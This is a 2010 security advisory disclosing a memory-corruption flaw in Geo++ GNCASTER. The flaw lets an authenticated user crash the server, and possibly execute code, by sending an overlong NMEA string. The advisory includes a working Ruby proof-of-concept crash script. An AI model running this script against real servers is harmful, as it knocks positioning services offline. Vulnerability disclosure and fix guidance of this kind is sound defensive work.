Advisory: Geo++(R) GNCASTER: Insecure handling of NMEA-data

During a penetration test, RedTeam Pentesting discovered that the
GNCaster software does not handle NMEA-data correctly. An attacker that
has valid login credentials can use this to crash the server software or
potentially execute code on the server.

Details
=======

Product: Geo++(R) GNCASTER
Affected Versions: <= 1.4.0.7
Fixed Versions: 1.4.0.8
Vulnerability Type: Memory corruption
Security Risk: medium
Vendor URL: http://www.geopp.de
Vendor Status: notified
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2010-002
Advisory Status: published
CVE: TBA
CVE URL: TBA


Introduction
============

"Geo++(R) GNCASTER is the Geo++ implementation of a NTRIP caster. NTRIP
is a protocol within RTCM to provide GNSS information via Internet."

(from the vendor's homepage)


More Details
============

After logging in, the GNCaster server software allows the user to
receive data streams. For some of these streams the user can send
so-called NMEA-data to the server to specify the user's geographical
position. If an attacker sends a long data string, the server software
crashes. RedTeam Pentesting believes it is also possible to exploit this
vulnerability to execute code on the server.


Proof of Concept
================

The following ruby script can be used to crash the GNCaster server:

-------------------------------------------------------------------
#!/usr/bin/env ruby
######################################
#                                    #
#  RedTeam Pentesting GmbH           #
#  kontakt@redteam-pentesting.de     #
#  http://www.redteam-pentesting.de  #
#                                    #
######################################

require 'socket'
require 'base64'

if ARGV.length < 3 then
    puts "USAGE: %s host:port user:password stream" % __FILE__
    puts "Example: %s 127.0.0.1:2101 testuser:secret /0001" % __FILE__
    puts
    exit
end

host, port = ARGV[0].split(':')
pw, stream = ARGV[1..2]

begin
    puts "requesting stream %s" % stream.inspect
    sock = TCPSocket.new(host, port.to_i)
    sock.write("GET %s HTTP/1.1\r\n" % stream)
    sock.write("Authorization: Basic %s\r\n" % Base64.encode64(pw).strip)
    sock.write("\r\n")

    response = sock.readline

    puts "server response: %s" % response.inspect

    puts "sending modified nmea data"
    sock.write("$GP" + "A" * 2000 +
        "GGA,134047.00,5005.40000000,N,00839.60000000," +
        "E,1,05,0.19,+00400,M,47.950,M,,*69\r\n")
    puts "done"
end
-------------------------------------------------------------------


Workaround
==========

A vulnerable server could be protected from this vulnerability by an
application layer firewall that filters overly long NMEA-data.


Fix
===

Update GNCASTER to version 1.4.0.8.


Security Risk
=============

As an attacker needs valid user credentials for this attack, the risk of
this vulnerability is regarded as medium. If streams that use NMEA-data
are publicly available, the risk should be considered as high.


History
=======

2009-07-07 Vulnerability identified during a penetration test
2009-07-14 Meeting with customer
2009-12-01 Vendor releases fixed version
2010-01-27 Advisory released


RedTeam Pentesting GmbH
=======================

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